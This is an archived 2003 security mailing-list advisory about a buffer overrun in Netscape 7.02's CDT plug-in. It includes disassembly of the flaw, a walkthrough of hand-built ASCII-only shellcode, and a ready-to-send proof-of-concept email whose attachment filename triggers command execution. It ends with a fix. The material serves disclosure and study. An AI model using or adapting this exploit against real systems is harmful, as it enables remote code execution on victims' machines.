[REVS] CDT Plug-in Bug and How to Exploit Vulnerabilities Using Only ASCII Character Set

From: SecuriTeam (support_at_securiteam.com)
Date: 07/16/03

Next message: SecuriTeam: "[NT] Flaw in ISA Server Error Pages Could Allow Cross-Site Scripting Attack"

Previous message: SecuriTeam: "[NT] DoS Attack Against Twilight Web Server (Long GET Request)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 16 Jul 2003 11:44:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
We welcome ISPs, system integrators and IT systems resellers
to promote the most advanced vulnerability assessment solutions today.

- - - - - - - - -

CDT Plug-in Bug and How to Exploit Vulnerabilities Using Only ASCII
Character Set
------------------------------------------------------------------------

SUMMARY

This whitepaper describes creation of exploit for classic buffer overrun
using only subset of ASCII characters.

DETAILS

Bug description:
Netscape 7.02 ships with Client Detection Tool (CDT) plug-in (npcdt.dll)
that handles application/x-cdt mime type. One of routines in the npcdt.dll
is suffers from classic buffer overrun. Overrun occurs when overly long
string is passed to vulnerable routine. This string is essentially full
path to temporary folder where attachments are saved when browsing mail
message. Below is fragment of vulnerable routine code that is derived from
IDA:

sub_100016FF proc near
   var_100 = byte ptr -100h
   arg_0 = dword ptr 8
   arg_8 = dword ptr 10h
   push ebp
   mov ebp, esp
   sub esp, 100h
   push [ebp+arg_8] // Full path to CDT file in TMP
   mov eax, [ebp+arg_0]
   push dword ptr [eax+8] // "http://www.mozilla.org"
   lea eax, [ebp+var_100]
   push offset aFileAvailableF ; "### File available for %s: %s\n"
   push eax
   call sprintf
   add esp, 10h
   xor eax, eax
   leave
   retn 0Ch
sub_100016FF endp

As we see 256 bytes are allocated for local variables and length of
arguments is not checked.

Proof-of-concept exploit:
The main problem is that we cannot fully control arguments passed to the
function: we can control only part of one argument. This argument is full
path to Windows temporary folder and name of CDT file that is created when
mail with attachment of application/x-cdt mime type if viewed by user.
Example of second argument value:
C:\Documents and Settings\martin\Local
Settings\Temp\plugtmp\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAtskill.exe netscp && cmd.exe ATX-%UUU-%UUUFVUUhAAAAZ0TX!
hqHyaZ)TXehU%yaZ)TXeh%S%SZf)TXj0TXaPyCSP~~~~w$$AAAAA
AAAAAAAAAAAAAAAWddwAAAAAAAAAAAAPYIIQXIIIIII(DL!x~.CDT

To exploit this bug we need to create mail with attachment of
application/x-cdt mime type and filename that contains exploit code.
Filename including extension cannot exceed 218 symbols in length under
Windows Server 2003 and cannot contain some special characters like >, <,
\ and so on. In addition, filename cannot contain non-ASCII symbols to
make exploit working. Finally, we need to know length of path to TEMP
folder to code the exploit. This is equivalent to length of username
because rest of path is known for given operating system if default
settings are used. Also Martin was unable to find JMP ESP/CALL ESP opcodes
in loaded Netscape modules with acceptable address (note that acceptable
here means ASCII with mentioned above restrictions) so proof-of-concept
exploit is bound to operating system, here Windows Server 2003 Enterprise
Edition English.

The main idea is to represent "shellcode" with subset of ASCII characters.
There are programs that translate ordinal byte code to byte code that
consists only of "ASCII" symbols. However, such programs normally produce
code that is significantly greater in size than original. Due to this fact
proof-of concept exploit is coded manually.

Here is described what it does:
1. Upon exit of vulnerable routine in CDT plug-in return address is
overwritten with JMP ESP opcode address in shell32.dll.
2. After JMP ESP we land almost at the end of our code and have about 26
bytes. In this area exploit only decodes bytes to make short jump back to
126 bytes.
3. Now we have more area - about 94 bytes. Here exploit decodes CALL
system opcodes where system is C run time function to execute OS commands
(implemented in msvcrt.dll).
4. System function executes command that is hard-coded into exploit code:
tskill.exe netscp && cmd.exe. Here tskill.exe terminates Netscape to avoid
cleanup coding and cmd.exe launches command prompt.

Definitely this is not best approach - better would be write decoder for
ASCII bytes and make resulting exploit smaller, try to make it less
platform dependant and make a call to ExitProcess. However, remember that
this is a proof-of-concept code. Below is mail message with sample
exploit:
From: <attacker@host.com>
To: <victim@host.com>
Subject: CDT bug Exploit
Date: Mon, 14 Jul 2003 06:54:20 +0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0011_01C33EA6.3F7AEDE0"
This is a multi-part message in MIME format.
------=_NextPart_000_0011_01C33EA6.3F7AEDE0
Content-Type: text/plain;
charset="koi8-r"
Content-Transfer-Encoding: 7bit
------=_NextPart_000_0011_01C33EA6.3F7AEDE0
Content-Type: application/x-cdt;
name="jmp.cdt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtskill.exe netscp
&& cmd.exe ATX-%UUU-%UUUFVUUhAAAAZ0TX!
hqHyaZ)TXehU%yaZ)TXeh%S%SZf)TXj0TXaPyCSP~~~~w$$AAAAAAAAAAAAAAAAAAA
AWddwAAAAAAAAAAAAPYIIQXIIIIII(DL!x~.CDT"
TEST MESSAGE ONLY
------=_NextPart_000_0011_01C33EA6.3F7AEDE0--

Because text is wrapped copy of this is available at:
<http://jimmers.russia.webmatrixhosting.net/exploits/CDT.txt>
http://jimmers.russia.webmatrixhosting.net/exploits/CDT.txt

This exploit was tested on Windows Server 2003 Enterprise Edition English
while logged on as user with 6 symbols username running Netscape 7.02. To
send such message one may use telnet to SMTP server because some mail
clients (Outlook Express) change Content-Type from application/x-cdt upon
sending if Content-Type was set manually in saved message text.

Resolution:
Manually remove CDT plug-in from /components directory or upgrade to
latest version of Netscape browser that has CDT plug-in removed.

ADDITIONAL INFORMATION

The original whitepaper can be downloaded from:
<http://jimmers.russia.webmatrixhosting.net/whitepapers/CDTbug.pdf>
http://jimmers.russia.webmatrixhosting.net/whitepapers/CDTbug.pdf

The information has been provided by <mailto:jimmers@yandex.ru> Martin
Rakhmanoff.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Next message: SecuriTeam: "[NT] Flaw in ISA Server Error Pages Could Allow Cross-Site Scripting Attack"

Previous message: SecuriTeam: "[NT] DoS Attack Against Twilight Web Server (Long GET Request)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]